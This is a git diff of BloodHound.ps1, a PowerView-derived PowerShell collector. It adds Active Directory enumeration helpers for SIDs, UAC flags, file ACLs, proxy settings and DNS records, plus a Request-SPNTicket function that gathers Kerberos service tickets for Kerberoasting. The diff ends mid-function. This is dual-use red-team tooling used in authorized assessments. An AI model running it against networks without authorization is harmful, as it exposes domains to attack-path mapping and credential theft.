diff --git a/PowerShell/BloodHound.ps1 b/PowerShell/BloodHound.ps1 index b3ebccaa0..60f526e3f 100644 --- a/PowerShell/BloodHound.ps1 +++ b/PowerShell/BloodHound.ps1 @@ -1,12 +1,13 @@ #requires -version 2 <# - Customized PowerView instance for BloodHound data collection and ingestion. + PowerSploit File: PowerView.ps1 Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None + #> ######################################################## @@ -707,6 +708,108 @@ function struct } +######################################################## +# +# Misc. helpers +# +######################################################## + +filter Get-IniContent { +<# + .SYNOPSIS + + This helper parses an .ini file into a proper PowerShell object. + + Author: 'The Scripting Guys' + Link: https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ + + .LINK + + https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ +#> + [CmdletBinding()] + Param( + [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [Alias('FullName')] + [ValidateScript({ Test-Path -Path $_ })] + [String[]] + $Path + ) + + ForEach($TargetPath in $Path) { + $IniObject = @{} + Switch -Regex -File $TargetPath { + "^\[(.+)\]" # Section + { + $Section = $matches[1].Trim() + $IniObject[$Section] = @{} + $CommentCount = 0 + } + "^(;.*)$" # Comment + { + $Value = $matches[1].Trim() + $CommentCount = $CommentCount + 1 + $Name = 'Comment' + $CommentCount + $IniObject[$Section][$Name] = $Value + } + "(.+?)\s*=(.*)" # Key + { + $Name, $Value = $matches[1..2] + $Name = $Name.Trim() + $Values = $Value.split(',') | ForEach-Object {$_.Trim()} + if($Values -isnot [System.Array]) {$Values = @($Values)} + $IniObject[$Section][$Name] = $Values + } + } + $IniObject + } +} + +filter Export-PowerViewCSV { +<# + .SYNOPSIS + + This helper exports an -InputObject to a .csv in a thread-safe manner + using a mutex. This is so the various multi-threaded functions in + PowerView has a thread-safe way to export output to the same file. + + Based partially on Dmitry Sotnikov's Export-CSV code + at http://poshcode.org/1590 + + .LINK + + http://poshcode.org/1590 + http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/ +#> + Param( + [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [System.Management.Automation.PSObject[]] + $InputObject, + + [Parameter(Mandatory=$True, Position=0)] + [String] + [ValidateNotNullOrEmpty()] + $OutFile + ) + + $ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation + + # mutex so threaded code doesn't stomp on the output file + $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'; + $Null = $Mutex.WaitOne() + + if (Test-Path -Path $OutFile) { + # hack to skip the first line of output if the file already exists + $ObjectCSV | ForEach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile + } + else { + $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile + } + + $Mutex.ReleaseMutex() +} + + filter Get-IPAddress { <# .SYNOPSIS @@ -756,6 +859,62 @@ filter Get-IPAddress { } +filter Convert-NameToSid { +<# + .SYNOPSIS + + Converts a given user/group name to a security identifier (SID). + + .PARAMETER ObjectName + + The user/group name to convert, can be 'user' or 'DOMAIN\user' format. + + .PARAMETER Domain + + Specific domain for the given user account, defaults to the current domain. + + .EXAMPLE + + PS C:\> Convert-NameToSid 'DEV\dfm' +#> + [CmdletBinding()] + param( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [String] + [Alias('Name')] + $ObjectName, + + [String] + $Domain + ) + + $ObjectName = $ObjectName -Replace "/","\" + + if($ObjectName.Contains("\")) { + # if we get a DOMAIN\user format, auto convert it + $Domain = $ObjectName.Split("\")[0] + $ObjectName = $ObjectName.Split("\")[1] + } + elseif(-not $Domain) { + $Domain = (Get-NetDomain).Name + } + + try { + $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $ObjectName)) + $SID = $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ObjectName' $ObjectName + $Out | Add-Member Noteproperty 'SID' $SID + $Out + } + catch { + Write-Verbose "Invalid object/name: $Domain\$ObjectName" + $Null + } +} + + filter Convert-SidToName { <# .SYNOPSIS @@ -783,8 +942,7 @@ filter Convert-SidToName { # try to resolve any built-in SIDs first # from https://support.microsoft.com/en-us/kb/243330 - Switch ($SID2) - { + Switch ($SID2) { 'S-1-0' { 'Null Authority' } 'S-1-0-0' { 'Nobody' } 'S-1-1' { 'World Authority' } @@ -853,7 +1011,7 @@ filter Convert-SidToName { } } catch { - Write-Debug "Invalid SID: $SID" + Write-Verbose "Invalid SID: $SID" $SID } } @@ -913,17 +1071,17 @@ filter Convert-ADName { ) $NameTypes = @{ - "Canonical" = 2 - "NT4" = 3 - "Simple" = 5 + 'Canonical' = 2 + 'NT4' = 3 + 'Simple' = 5 } - if(!$PSBoundParameters['InputType']) { + if(-not $PSBoundParameters['InputType']) { if( ($ObjectName.split('/')).Count -eq 2 ) { $ObjectName = $ObjectName.replace('/', '\') } - if($ObjectName -match "^[A-Za-z]+\\[A-Za-z ]+$") { + if($ObjectName -match "^[A-Za-z]+\\[A-Za-z ]+") { $InputType = 'NT4' } elseif($ObjectName -match "^[A-Za-z ]+@[A-Za-z\.]+") { @@ -941,7 +1099,7 @@ filter Convert-ADName { $ObjectName = $ObjectName.replace('/', '\') } - if(!$PSBoundParameters['OutputType']) { + if(-not $PSBoundParameters['OutputType']) { $OutputType = Switch($InputType) { 'NT4' {'Canonical'} 'Simple' {'NT4'} @@ -971,7 +1129,7 @@ filter Convert-ADName { Invoke-Method $Translate "Init" (1, $Domain) } catch [System.Management.Automation.MethodInvocationException] { - Write-Debug "Error with translate init in Convert-ADName: $_" + Write-Verbose "Error with translate init in Convert-ADName: $_" } Set-Property $Translate "ChaseReferral" (0x60) @@ -981,181 +1139,533 @@ filter Convert-ADName { (Invoke-Method $Translate "Get" ($NameTypes[$OutputType])) } catch [System.Management.Automation.MethodInvocationException] { - Write-Debug "Error with translate Set/Get in Convert-ADName: $_" + Write-Verbose "Error with translate Set/Get in Convert-ADName: $_" } } -filter Get-NameField { +function ConvertFrom-UACValue { <# .SYNOPSIS - - Helper that attempts to extract appropriate field names from - passed computer objects. - .PARAMETER Object + Converts a UAC int value to human readable form. - The passed object to extract name fields from. + .PARAMETER Value - .PARAMETER DnsHostName - - A DnsHostName to extract through ValueFromPipelineByPropertyName. + The int UAC value to convert. - .PARAMETER Name - - A Name to extract through ValueFromPipelineByPropertyName. + .PARAMETER ShowAll + + Show all UAC values, with a + indicating the value is currently set. .EXAMPLE - PS C:\> Get-NetComputer -FullData | Get-NameField + PS C:\> ConvertFrom-UACValue -Value 66176 + + Convert the UAC value 66176 to human readable format. + + .EXAMPLE + + PS C:\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue + + Convert the UAC value for 'jason' to human readable format. + + .EXAMPLE + + PS C:\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue -ShowAll + + Convert the UAC value for 'jason' to human readable format, showing all + possible UAC values. #> + [CmdletBinding()] param( - [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] - [Object] - $Object, - - [Parameter(ValueFromPipelineByPropertyName = $True)] - [String] - $DnsHostName, + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + $Value, - [Parameter(ValueFromPipelineByPropertyName = $True)] - [String] - $Name + [Switch] + $ShowAll ) - if($PSBoundParameters['DnsHostName']) { - $DnsHostName - } - elseif($PSBoundParameters['Name']) { - $Name + begin { + # values from https://support.microsoft.com/en-us/kb/305144 + $UACValues = New-Object System.Collections.Specialized.OrderedDictionary + $UACValues.Add("SCRIPT", 1) + $UACValues.Add("ACCOUNTDISABLE", 2) + $UACValues.Add("HOMEDIR_REQUIRED", 8) + $UACValues.Add("LOCKOUT", 16) + $UACValues.Add("PASSWD_NOTREQD", 32) + $UACValues.Add("PASSWD_CANT_CHANGE", 64) + $UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128) + $UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256) + $UACValues.Add("NORMAL_ACCOUNT", 512) + $UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048) + $UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096) + $UACValues.Add("SERVER_TRUST_ACCOUNT", 8192) + $UACValues.Add("DONT_EXPIRE_PASSWORD", 65536) + $UACValues.Add("MNS_LOGON_ACCOUNT", 131072) + $UACValues.Add("SMARTCARD_REQUIRED", 262144) + $UACValues.Add("TRUSTED_FOR_DELEGATION", 524288) + $UACValues.Add("NOT_DELEGATED", 1048576) + $UACValues.Add("USE_DES_KEY_ONLY", 2097152) + $UACValues.Add("DONT_REQ_PREAUTH", 4194304) + $UACValues.Add("PASSWORD_EXPIRED", 8388608) + $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216) + $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864) } - elseif($Object) { - if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) { - # objects from Get-NetComputer - $Object.dnshostname + + process { + + $ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary + + if($Value -is [Int]) { + $IntValue = $Value } - elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) { - # objects from Get-NetDomainController - $Object.name + elseif ($Value -is [PSCustomObject]) { + if($Value.useraccountcontrol) { + $IntValue = $Value.useraccountcontrol + } } else { - # strings and catch alls - $Object + Write-Warning "Invalid object input for -Value : $Value" + return $Null } - } - else { - return $Null + + if($ShowAll) { + foreach ($UACValue in $UACValues.GetEnumerator()) { + if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+") + } + else { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") + } + } + } + else { + foreach ($UACValue in $UACValues.GetEnumerator()) { + if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") + } + } + } + $ResultUACValues } } -function Convert-LDAPProperty { +filter Get-Proxy { <# .SYNOPSIS - Helper that converts specific LDAP property result fields. - Used by several of the Get-Net* function. + Enumerates the proxy server and WPAD conents for the current user. - .PARAMETER Properties + .PARAMETER ComputerName - Properties object to extract out LDAP fields for display. + The computername to enumerate proxy settings on, defaults to local host. + + .EXAMPLE + + PS C:\> Get-Proxy + + Returns the current proxy settings. #> param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [Parameter(ValueFromPipeline=$True)] [ValidateNotNullOrEmpty()] - $Properties + [String] + $ComputerName = $ENV:COMPUTERNAME ) - $ObjectProperties = @{} + try { + $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName) + $RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings") + $ProxyServer = $RegKey.GetValue('ProxyServer') + $AutoConfigURL = $RegKey.GetValue('AutoConfigURL') - $Properties.PropertyNames | ForEach-Object { - if (($_ -eq "objectsid") -or ($_ -eq "sidhistory")) { - # convert the SID to a string - $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0],0)).Value - } - elseif($_ -eq "objectguid") { - # convert the GUID to a string - $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid - } - elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") -or ($_ -eq "lastlogoff") -or ($_ -eq "badPasswordTime") ) { - # convert timestamps - if ($Properties[$_][0] -is [System.MarshalByRefObject]) { - # if we have a System.__ComObject - $Temp = $Properties[$_][0] - [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) - [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) - $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) - } - else { - $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) - } - } - elseif($Properties[$_][0] -is [System.MarshalByRefObject]) { - # try to convert misc com objects - $Prop = $Properties[$_] + $Wpad = "" + if($AutoConfigURL -and ($AutoConfigURL -ne "")) { try { - $Temp = $Prop[$_][0] - Write-Verbose $_ - [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) - [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) - $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) + $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL) } catch { - $ObjectProperties[$_] = $Prop[$_] + Write-Warning "Error connecting to AutoConfigURL : $AutoConfigURL" } } - elseif($Properties[$_].count -eq 1) { - $ObjectProperties[$_] = $Properties[$_][0] + + if($ProxyServer -or $AutoConfigUrl) { + + $Properties = @{ + 'ProxyServer' = $ProxyServer + 'AutoConfigURL' = $AutoConfigURL + 'Wpad' = $Wpad + } + + New-Object -TypeName PSObject -Property $Properties } else { - $ObjectProperties[$_] = $Properties[$_] + Write-Warning "No proxy settings found for $ComputerName" } } - - New-Object -TypeName PSObject -Property $ObjectProperties + catch { + Write-Warning "Error enumerating proxy settings for $ComputerName : $_" + } } - -######################################################## -# -# Domain info functions below. -# -######################################################## - -filter Get-DomainSearcher { +function Request-SPNTicket { <# .SYNOPSIS + + Request the kerberos ticket for a specified service principal name (SPN). + + .PARAMETER SPN - Helper used by various functions that takes an ADSpath and - domain specifier and builds the correct ADSI searcher object. + The service principal name to request the ticket for. Required. - .PARAMETER Domain + .EXAMPLE - The domain to use for the query, defaults to the current domain. + PS C:\> Request-SPNTicket -SPN "HTTP/web.testlab.local" + + Request a kerberos service ticket for the specified SPN. - .PARAMETER DomainController + .EXAMPLE - Domain controller to reflect LDAP queries through. + PS C:\> "HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Request-SPNTicket - .PARAMETER ADSpath + Request kerberos service tickets for all SPNs passed on the pipeline. - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. + .EXAMPLE - .PARAMETER ADSprefix + PS C:\> Get-NetUser -SPN | Request-SPNTicket - Prefix to set for the searcher (like "CN=Sites,CN=Configuration") + Request kerberos service tickets for all users with non-null SPNs. +#> - .PARAMETER PageSize + [CmdletBinding()] + Param ( + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName = $True)] + [Alias('ServicePrincipalName')] + [String[]] + $SPN + ) - The PageSize to set for the LDAP searcher object. + begin { + Add-Type -AssemblyName System.IdentityModel + } - .PARAMETER Credential + process { + Write-Verbose "Requesting ticket for: $SPN" + New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPN + } +} - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. + +function Get-PathAcl { +<# + .SYNOPSIS + + Enumerates the ACL for a given file path. + + .PARAMETER Path + + The local/remote path to enumerate the ACLs for. + + .PARAMETER Recurse + + If any ACL results are groups, recurse and retrieve user membership. + + .EXAMPLE + + PS C:\> Get-PathAcl "\\SERVER\Share\" + + Returns ACLs for the given UNC share. +#> + [CmdletBinding()] + param( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [String] + $Path, + + [Switch] + $Recurse + ) + + begin { + + function Convert-FileRight { + + # From http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights + + [CmdletBinding()] + param( + [Int] + $FSR + ) + + $AccessMask = @{ + [uint32]'0x80000000' = 'GenericRead' + [uint32]'0x40000000' = 'GenericWrite' + [uint32]'0x20000000' = 'GenericExecute' + [uint32]'0x10000000' = 'GenericAll' + [uint32]'0x02000000' = 'MaximumAllowed' + [uint32]'0x01000000' = 'AccessSystemSecurity' + [uint32]'0x00100000' = 'Synchronize' + [uint32]'0x00080000' = 'WriteOwner' + [uint32]'0x00040000' = 'WriteDAC' + [uint32]'0x00020000' = 'ReadControl' + [uint32]'0x00010000' = 'Delete' + [uint32]'0x00000100' = 'WriteAttributes' + [uint32]'0x00000080' = 'ReadAttributes' + [uint32]'0x00000040' = 'DeleteChild' + [uint32]'0x00000020' = 'Execute/Traverse' + [uint32]'0x00000010' = 'WriteExtendedAttributes' + [uint32]'0x00000008' = 'ReadExtendedAttributes' + [uint32]'0x00000004' = 'AppendData/AddSubdirectory' + [uint32]'0x00000002' = 'WriteData/AddFile' + [uint32]'0x00000001' = 'ReadData/ListDirectory' + } + + $SimplePermissions = @{ + [uint32]'0x1f01ff' = 'FullControl' + [uint32]'0x0301bf' = 'Modify' + [uint32]'0x0200a9' = 'ReadAndExecute' + [uint32]'0x02019f' = 'ReadAndWrite' + [uint32]'0x020089' = 'Read' + [uint32]'0x000116' = 'Write' + } + + $Permissions = @() + + # get simple permission + $Permissions += $SimplePermissions.Keys | % { + if (($FSR -band $_) -eq $_) { + $SimplePermissions[$_] + $FSR = $FSR -band (-not $_) + } + } + + # get remaining extended permissions + $Permissions += $AccessMask.Keys | + ? { $FSR -band $_ } | + % { $AccessMask[$_] } + + ($Permissions | ?{$_}) -join "," + } + } + + process { + + try { + $ACL = Get-Acl -Path $Path + + $ACL.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) | ForEach-Object { + + $Names = @() + if ($_.IdentityReference -match '^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+') { + $Object = Get-ADObject -SID $_.IdentityReference + $Names = @() + $SIDs = @($Object.objectsid) + + if ($Recurse -and (@('268435456','268435457','536870912','536870913') -contains $Object.samAccountType)) { + $SIDs += Get-NetGroupMember -SID $Object.objectsid | Select-Object -ExpandProperty MemberSid + } + + $SIDs | ForEach-Object { + $Names += ,@($_, (Convert-SidToName $_)) + } + } + else { + $Names += ,@($_.IdentityReference.Value, (Convert-SidToName $_.IdentityReference.Value)) + } + + ForEach($Name in $Names) { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'Path' $Path + $Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__) + $Out | Add-Member Noteproperty 'IdentityReference' $Name[1] + $Out | Add-Member Noteproperty 'IdentitySID' $Name[0] + $Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType + $Out + } + } + } + catch { + Write-Warning $_ + } + } +} + + +filter Get-NameField { +<# + .SYNOPSIS + + Helper that attempts to extract appropriate field names from + passed computer objects. + + .PARAMETER Object + + The passed object to extract name fields from. + + .PARAMETER DnsHostName + + A DnsHostName to extract through ValueFromPipelineByPropertyName. + + .PARAMETER Name + + A Name to extract through ValueFromPipelineByPropertyName. + + .EXAMPLE + + PS C:\> Get-NetComputer -FullData | Get-NameField +#> + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Object] + $Object, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [String] + $DnsHostName, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [String] + $Name + ) + + if($PSBoundParameters['DnsHostName']) { + $DnsHostName + } + elseif($PSBoundParameters['Name']) { + $Name + } + elseif($Object) { + if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) { + # objects from Get-NetComputer + $Object.dnshostname + } + elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) { + # objects from Get-NetDomainController + $Object.name + } + else { + # strings and catch alls + $Object + } + } + else { + return $Null + } +} + + +function Convert-LDAPProperty { +<# + .SYNOPSIS + + Helper that converts specific LDAP property result fields. + Used by several of the Get-Net* function. + + .PARAMETER Properties + + Properties object to extract out LDAP fields for display. +#> + param( + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [ValidateNotNullOrEmpty()] + $Properties + ) + + $ObjectProperties = @{} + + $Properties.PropertyNames | ForEach-Object { + if (($_ -eq "objectsid") -or ($_ -eq "sidhistory")) { + # convert the SID to a string + $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0],0)).Value + } + elseif($_ -eq "objectguid") { + # convert the GUID to a string + $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid + } + elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") -or ($_ -eq "lastlogoff") -or ($_ -eq "badPasswordTime") ) { + # convert timestamps + if ($Properties[$_][0] -is [System.MarshalByRefObject]) { + # if we have a System.__ComObject + $Temp = $Properties[$_][0] + [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) + } + else { + $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) + } + } + elseif($Properties[$_][0] -is [System.MarshalByRefObject]) { + # try to convert misc com objects + $Prop = $Properties[$_] + try { + $Temp = $Prop[$_][0] + Write-Verbose $_ + [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null) + $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) + } + catch { + $ObjectProperties[$_] = $Prop[$_] + } + } + elseif($Properties[$_].count -eq 1) { + $ObjectProperties[$_] = $Properties[$_][0] + } + else { + $ObjectProperties[$_] = $Properties[$_] + } + } + + New-Object -TypeName PSObject -Property $ObjectProperties +} + + + +######################################################## +# +# Domain info functions below. +# +######################################################## + +filter Get-DomainSearcher { +<# + .SYNOPSIS + + Helper used by various functions that takes an ADSpath and + domain specifier and builds the correct ADSI searcher object. + + .PARAMETER Domain + + The domain to use for the query, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER ADSprefix + + Prefix to set for the searcher (like "CN=Sites,CN=Configuration") + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. .EXAMPLE @@ -1188,14 +1698,13 @@ filter Get-DomainSearcher { $Credential ) - if(!$Credential) { - if(!$Domain){ + if(-not $Credential) { + if(-not $Domain) { $Domain = (Get-NetDomain).name } - elseif(!$DomainController) { + elseif(-not $DomainController) { try { - # if there's no -DomainController specified, try to pull the primary DC - # to reflect queries through + # if there's no -DomainController specified, try to pull the primary DC to reflect queries through $DomainController = ((Get-NetDomain).PdcRoleOwner).Name } catch { @@ -1203,7 +1712,8 @@ filter Get-DomainSearcher { } } } - elseif (!$DomainController) { + elseif (-not $DomainController) { + # if a DC isn't specified try { $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name } @@ -1221,24 +1731,24 @@ filter Get-DomainSearcher { if($DomainController) { $SearchString += $DomainController if($Domain){ - $SearchString += "/" + $SearchString += '/' } } if($ADSprefix) { - $SearchString += $ADSprefix + "," + $SearchString += $ADSprefix + ',' } if($ADSpath) { - if($ADSpath -like "GC://*") { + if($ADSpath -Match '^GC://') { # if we're searching the global catalog - $DN = $AdsPath - $SearchString = "" + $DN = $AdsPath.ToUpper().Trim('/') + $SearchString = '' } else { - if($ADSpath -like "LDAP://*") { + if($ADSpath -match '^LDAP://') { if($ADSpath -match "LDAP://.+/.+") { - $SearchString = "" + $SearchString = '' } else { $ADSpath = $ADSpath.Substring(7) @@ -1271,40 +1781,394 @@ filter Get-DomainSearcher { } -filter Get-NetDomain { +filter Convert-DNSRecord { <# .SYNOPSIS - Returns a given domain object. + Decodes a binary DNS record. - .PARAMETER Domain + Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 - The domain name to query for, defaults to the current domain. + .PARAMETER DNSRecord - .PARAMETER Credential + The domain to query for zones, defaults to the current domain. - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. + .LINK - .EXAMPLE + https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 +#> + param( + [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)] + [Byte[]] + $DNSRecord + ) - PS C:\> Get-NetDomain -Domain testlab.local + function Get-Name { + # modified decodeName from https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 + [CmdletBinding()] + param( + [Byte[]] + $Raw + ) - .EXAMPLE + [Int]$Length = $Raw[0] + [Int]$Segments = $Raw[1] + [Int]$Index = 2 + [String]$Name = "" - PS C:\> "testlab.local" | Get-NetDomain + while ($Segments-- -gt 0) + { + [Int]$SegmentLength = $Raw[$Index++] + while ($SegmentLength-- -gt 0) { + $Name += [Char]$Raw[$Index++] + } + $Name += "." + } + $Name + } - .LINK + $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0) + $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2) + $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8) - http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG -#> + $TTLRaw = $DNSRecord[12..15] + # reverse for big endian + $Null = [array]::Reverse($TTLRaw) + $TTL = [BitConverter]::ToUInt32($TTLRaw, 0) - param( - [Parameter(ValueFromPipeline=$True)] - [String] - $Domain, + $Age = [BitConverter]::ToUInt32($DNSRecord, 20) + if($Age -ne 0) { + $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString() + } + else { + $TimeStamp = "[static]" + } - [Management.Automation.PSCredential] + $DNSRecordObject = New-Object PSObject + + if($RDataType -eq 1) { + $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27] + $Data = $IP + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A' + } + + elseif($RDataType -eq 2) { + $NSName = Get-Name $DNSRecord[24..$DNSRecord.length] + $Data = $NSName + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS' + } + + elseif($RDataType -eq 5) { + $Alias = Get-Name $DNSRecord[24..$DNSRecord.length] + $Data = $Alias + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME' + } + + elseif($RDataType -eq 6) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA' + } + + elseif($RDataType -eq 12) { + $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length] + $Data = $Ptr + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR' + } + + elseif($RDataType -eq 13) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO' + } + + elseif($RDataType -eq 15) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX' + } + + elseif($RDataType -eq 16) { + + [string]$TXT = "" + [int]$SegmentLength = $DNSRecord[24] + $Index = 25 + while ($SegmentLength-- -gt 0) { + $TXT += [char]$DNSRecord[$index++] + } + + $Data = $TXT + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT' + } + + elseif($RDataType -eq 28) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA' + } + + elseif($RDataType -eq 33) { + # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV' + } + + else { + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN' + } + + $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial + $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL + $DNSRecordObject | Add-Member Noteproperty 'Age' $Age + $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp + $DNSRecordObject | Add-Member Noteproperty 'Data' $Data + $DNSRecordObject +} + + +filter Get-DNSZone { +<# + .SYNOPSIS + + Enumerates the Active Directory DNS zones for a given domain. + + .PARAMETER Domain + + The domain to query for zones, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .PARAMETER FullData + + Switch. Return full computer objects instead of just system names (the default). + + .EXAMPLE + + PS C:\> Get-DNSZone + + Retrieves the DNS zones for the current domain. + + .EXAMPLE + + PS C:\> Get-DNSZone -Domain dev.testlab.local 